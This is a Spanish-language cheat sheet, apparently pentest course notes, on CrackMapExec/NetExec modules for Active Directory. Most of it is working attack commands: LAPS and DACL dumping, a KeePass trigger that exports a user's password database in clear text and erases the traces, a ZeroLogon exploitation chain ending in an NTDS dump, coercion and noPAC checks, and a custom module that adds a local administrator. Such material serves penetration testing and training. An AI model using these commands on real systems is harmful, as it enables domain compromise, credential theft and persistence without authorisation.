Popular Modules
CME/NXC tiene más de 50 módulos para LDAP y SMB que facilitan tareas de enumeración y post-explotación. La mayoría de módulos SMB requieren privilegios de administrador.
Links: CrackMapExec Wiki | NetExec Docs | adidnsdump | KeePass Triggers
Módulos LDAP
get-network
Enumera todos los registros DNS del dominio vía LDAP. Cualquier usuario del dominio puede usarlo.
# Solo IPs (default)
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network
netexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network
# IPs y nombres de host
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network -o ALL=true
netexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network -o ALL=true
# Solo FQDNs (sin IP)
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network -o ONLY_HOSTS=true
netexec ldap dc01.domain.local -u <user> -p '<password>' -M get-network -o ONLY_HOSTS=trueEl log se guarda en ~/.cme/logs/<dominio>_network_<fecha>.log.
laps
Recupera contraseñas LAPS de computadoras. Requiere una cuenta con permisos de lectura LAPS.
# Todas las computadoras
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M laps
netexec ldap dc01.domain.local -u <user> -p '<password>' -M laps
# Computadora específica o con wildcard
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M laps -o COMPUTER=MS01
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M laps -o COMPUTER=WIN-*
netexec ldap dc01.domain.local -u <user> -p '<password>' -M laps -o COMPUTER=MS01MAQ
Obtiene el atributo MachineAccountQuota, que indica cuántas máquinas puede unir al dominio un usuario estándar. Relevante para ataques como Resource Based Constrained Delegation.
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M maq
netexec ldap dc01.domain.local -u <user> -p '<password>' -M maqdaclread
Lee y exporta los DACLs de objetos de AD. No lee DACLs recursivamente.
# Ver opciones
crackmapexec ldap -M daclread --options
netexec ldap -M daclread --options
# Leer ACEs de un usuario específico
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M daclread -o TARGET=<usuario> ACTION=read
netexec ldap dc01.domain.local -u <user> -p '<password>' -M daclread -o TARGET=<usuario> ACTION=read
# Buscar quién tiene derechos DCSync
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M daclread -o TARGET_DN="DC=domain,DC=local" ACTION=read RIGHTS=DCSync
netexec ldap dc01.domain.local -u <user> -p '<password>' -M daclread -o TARGET_DN="DC=domain,DC=local" ACTION=read RIGHTS=DCSync
# Backup de DACLs
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' -M daclread -o TARGET=<usuario> ACTION=backupOpciones de daclread
TARGET— Objeto por SamAccountNameTARGET_DN— Objeto por Distinguished Name (útil para el dominio completo)PRINCIPAL— Filtrar por trustee específicoACTION—readobackupACE_TYPE—AllowedoDeniedRIGHTS—FullControl,ResetPassword,WriteMembers,DCSyncRIGHTS_GUID— GUID específico de un derecho
Módulos SMB
get_netconnections
Usa WMI para enumerar todas las IPs del target incluyendo IPv6 y secundarias. Útil para identificar hosts con múltiples interfaces de red.
crackmapexec smb <IP> -u <user> -p '<password>' -M get_netconnections
netexec smb <IP> -u <user> -p '<password>' -M get_netconnectionsioxidresolver
Usa RPC para enumerar IPs del target. No incluye IPv6 pero es más sigiloso que get_netconnections.
crackmapexec smb <IP> -u <user> -p '<password>' -M ioxidresolver
netexec smb <IP> -u <user> -p '<password>' -M ioxidresolverkeepass_discover
Busca procesos, archivos de configuración y bases de datos KeePass en el target.
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_discover
netexec smb <IP> -u <user> -p '<password>' -M keepass_discoverkeepass_trigger
Inyecta un trigger malicioso en el archivo de configuración de KeePass para exportar la base de datos en texto claro cuando el usuario la abra.
Nota: Este módulo no es opsec safe. CME pedirá confirmación.
# Paso 1 - Agregar trigger al config de KeePass
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=ADD KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml
netexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=ADD KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml
# Paso 2 - Reiniciar KeePass para que cargue el config modificado
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=RESTART USER=<usuario_keepass>
netexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=RESTART USER=<usuario_keepass>
# Paso 3 - Esperar que el usuario ingrese la master password y hacer poll del export
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=POLL
netexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=POLL
# Paso 4 - Limpiar el config y eliminar rastros
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=CLEAN KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml
netexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=CLEAN KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml
# Todo en uno - ejecuta ADD + RESTART + POLL + CLEAN + extrae passwords
crackmapexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=ALL KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xml
netexec smb <IP> -u <user> -p '<password>' -M keepass_trigger -o ACTION=ALL KEEPASS_CONFIG_PATH=C:/Users/<user>/AppData/Roaming/KeePass/KeePass.config.xmlEl export se guarda en /tmp/export.xml. Si el módulo falla al imprimir el password, buscarlo ahí manualmente:
cat /tmp/export.xml | grep -i protectinmemory -A 5rdp - Habilitar/Deshabilitar RDP
# Habilitar RDP
crackmapexec smb <IP> -u <user> -p '<password>' -M rdp -o ACTION=enable
netexec smb <IP> -u <user> -p '<password>' -M rdp -o ACTION=enable
# Deshabilitar RDP
crackmapexec smb <IP> -u <user> -p '<password>' -M rdp -o ACTION=disable
netexec smb <IP> -u <user> -p '<password>' -M rdp -o ACTION=disableListar todos los módulos disponibles
# Módulos LDAP
crackmapexec ldap -L
netexec ldap -L
# Módulos SMB
crackmapexec smb -L
netexec smb -LVulnerability Scan Modules
CME incluye módulos para verificar vulnerabilidades conocidas en Domain Controllers. La mayoría son solo de detección, no explotan la vulnerabilidad directamente. Se recomienda usar Proxychains si el DC no es accesible directamente.
Links: CrackMapExec Wiki | NetExec Docs | ZeroLogon CVE-2020-1472 | PetitPotam | noPAC PoC | DFSCoerce PoC | ShadowCoerce PoC | MS17-010 | CVE-2020-1472 Exploit
ZeroLogon (CVE-2020-1472)
Permite a un atacante no autenticado tomar control del dominio simplemente teniendo acceso de red al DC. No requiere credenciales.
# Sin credenciales
crackmapexec smb <IP_DC> -M zerologon
netexec smb <IP_DC> -M zerologon
# Con Proxychains
proxychains4 -q crackmapexec smb <IP_DC> -M zerologon
proxychains4 -q netexec smb <IP_DC> -M zerologonExplotar ZeroLogon
# Clonar el PoC
git clone https://github.com/dirkjanm/CVE-2020-1472
# Explotar (pone la contraseña del DC$ a vacío)
proxychains4 -q python3 cve-2020-1472-exploit.py <nombre_DC> <IP_DC>
# Dumpear NTDS con la cuenta DC$ sin contraseña
proxychains4 -q crackmapexec smb <IP_DC> -u 'DC01$' -p '' --ntds
proxychains4 -q netexec smb <IP_DC> -u 'DC01$' -p '' --ntdsImportante: Resetear el target después de explotar ZeroLogon en un lab.
PetitPotam
Ataque NTLM relay clásico que aprovecha MS-EFSRPC para forzar autenticación del DC contra un servidor controlado por el atacante.
crackmapexec smb <IP_DC> -M petitpotam
netexec smb <IP_DC> -M petitpotam
proxychains4 -q crackmapexec smb <IP_DC> -M petitpotam
proxychains4 -q netexec smb <IP_DC> -M petitpotamnoPAC (CVE-2021-42278 / CVE-2021-42287)
Permite escalar de usuario estándar del dominio a Domain Admin. Requiere credenciales de dominio.
crackmapexec smb <IP_DC> -u <user> -p '<password>' -M nopac
netexec smb <IP_DC> -u <user> -p '<password>' -M nopac
proxychains4 -q crackmapexec smb <IP_DC> -u <user> -p '<password>' -M nopac
proxychains4 -q netexec smb <IP_DC> -u <user> -p '<password>' -M nopacDFSCoerce
Ataque NTLM relay usando MS-DFSNM. Requiere usuario de dominio.
crackmapexec smb <IP_DC> -u <user> -p '<password>' -M dfscoerce
netexec smb <IP_DC> -u <user> -p '<password>' -M dfscoerce
proxychains4 -q crackmapexec smb <IP_DC> -u <user> -p '<password>' -M dfscoerce
proxychains4 -q netexec smb <IP_DC> -u <user> -p '<password>' -M dfscoerceShadowCoerce
Similar a PetitPotam, usa VSS (Volume Shadow Copy Service). Si el módulo no muestra output, el DC no es vulnerable. Para ver el resultado usar --verbose.
crackmapexec smb <IP_DC> -u <user> -p '<password>' -M shadowcoerce
netexec smb <IP_DC> -u <user> -p '<password>' -M shadowcoerce
# Con verbose para ver si es vulnerable o no
crackmapexec --verbose smb <IP_DC> -u <user> -p '<password>' -M shadowcoerce
netexec --verbose smb <IP_DC> -u <user> -p '<password>' -M shadowcoerceMS17-010 (EternalBlue)
RCE no autenticado en el servicio SMB. No requiere credenciales.
crackmapexec smb <IP_DC> -M ms17-010
netexec smb <IP_DC> -M ms17-010
proxychains4 -q crackmapexec smb <IP_DC> -M ms17-010
proxychains4 -q netexec smb <IP_DC> -M ms17-010Modo verbose para módulos sin output
Algunos módulos usan logging.debug en lugar de output directo. Para verlos:
crackmapexec --verbose smb <IP> -u <user> -p '<password>' -M <modulo>
netexec --verbose smb <IP> -u <user> -p '<password>' -M <modulo>Creating Our Own CME Module
Los módulos de CME son scripts Python ubicados en ./CrackMapExec/cme/modules/. Se pueden crear módulos personalizados y contribuirlos a la comunidad vía Pull Request.
Links: CrackMapExec Wiki | NetExec Docs | Poetry | GitHub PR Guide
Estructura base de un módulo
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class CMEModule:
'''
Descripción del módulo y autor
'''
name = 'nombre_modulo' # Nombre con el que se llama con -M
description = "Descripción" # Descripción corta
supported_protocols = ['smb'] # Protocolos soportados: smb, ldap, mssql, winrm, ssh
opsec_safe = True # True si no deja rastros en disco
multiple_hosts = True # True si se puede usar contra múltiples targets
def options(self, context, module_options):
'''
OPCION1 Descripción de la opción 1
OPCION2 Descripción de la opción 2
'''
# Definir variables con valores por defecto
self.variable = "valor_default"
if 'OPCION1' in module_options:
if module_options['OPCION1'] == "":
context.log.error('Valor inválido para OPCION1!')
exit(1)
self.variable = module_options['OPCION1']
# Se ejecuta cuando el usuario está autenticado pero NO es admin
def on_login(self, context, connection):
pass
# Se ejecuta cuando el usuario está autenticado Y es admin (Pwn3d!)
def on_admin_login(self, context, connection):
command = 'whoami'
context.log.info('Ejecutando comando')
p = connection.execute(command, True)
context.log.highlight(p)Métodos disponibles
on_login— Se ejecuta con cualquier usuario autenticado. Útil para enumeración sin privilegios (shares, política, usuarios, etc.)on_admin_login— Se ejecuta solo cuando el usuario tiene(Pwn3d!). Permite ejecutar comandos del sistema.
Métodos de output
context.log.info('Mensaje informativo') # Color normal
context.log.highlight('Resultado importante') # Color destacado (verde)
context.log.error('Mensaje de error') # Color rojo
context.log.success('Operación exitosa') # Color verdeEjecutar comandos en el target
# Ejecutar comando CMD
p = connection.execute('whoami', True)
context.log.highlight(p)
# El segundo argumento True hace que devuelva el output
# Si es False, ejecuta sin capturar outputEjemplo completo - Módulo createadmin
Crea una cuenta de administrador local en el target.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class CMEModule:
'''
Crea una nueva cuenta de administrador en el target.
Module by @juliourena
'''
name = 'createadmin'
description = "Create a new administrator account"
supported_protocols = ['smb']
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
'''
USER Username para la cuenta. Default: plaintext
PASS Password para la cuenta. Default: HackTheBoxCME1337!
'''
self.user = "plaintext"
if 'USER' in module_options:
if module_options['USER'] == "":
context.log.error('Valor inválido para USER!')
exit(1)
self.user = module_options['USER']
self.password = "HackTheBoxCME1337!"
if 'PASS' in module_options:
if module_options['PASS'] == "":
context.log.error('Valor inválido para PASS!')
exit(1)
self.password = module_options['PASS']
def on_admin_login(self, context, connection):
context.log.info('Creando usuario: {} con pass: {}'.format(self.user, self.password))
command = '(net user ' + self.user + ' "' + self.password + '" /add /Y && net localgroup administrators ' + self.user + ' /add)'
context.log.info('Ejecutando comando')
p = connection.execute(command, True)
context.log.highlight(p)Usar el módulo personalizado
# Con valores por defecto
crackmapexec smb <IP> -u <user> -p '<password>' -M createadmin
netexec smb <IP> -u <user> -p '<password>' -M createadmin
# Con opciones personalizadas
crackmapexec smb <IP> -u <user> -p '<password>' -M createadmin -o USER=nuevouser PASS=NuevaPass123!
netexec smb <IP> -u <user> -p '<password>' -M createadmin -o USER=nuevouser PASS=NuevaPass123!Ubicación de módulos
# Módulos de CME
ls ./CrackMapExec/cme/modules/
# Ver código fuente de un módulo existente para aprender
cat ./CrackMapExec/cme/modules/procdump.py
cat ./CrackMapExec/cme/modules/user_description.pyCompilar CME con Poetry tras modificar módulos
cd CrackMapExec
poetry run crackmapexec smb <IP> -u <user> -p '<password>' -M <nuevo_modulo>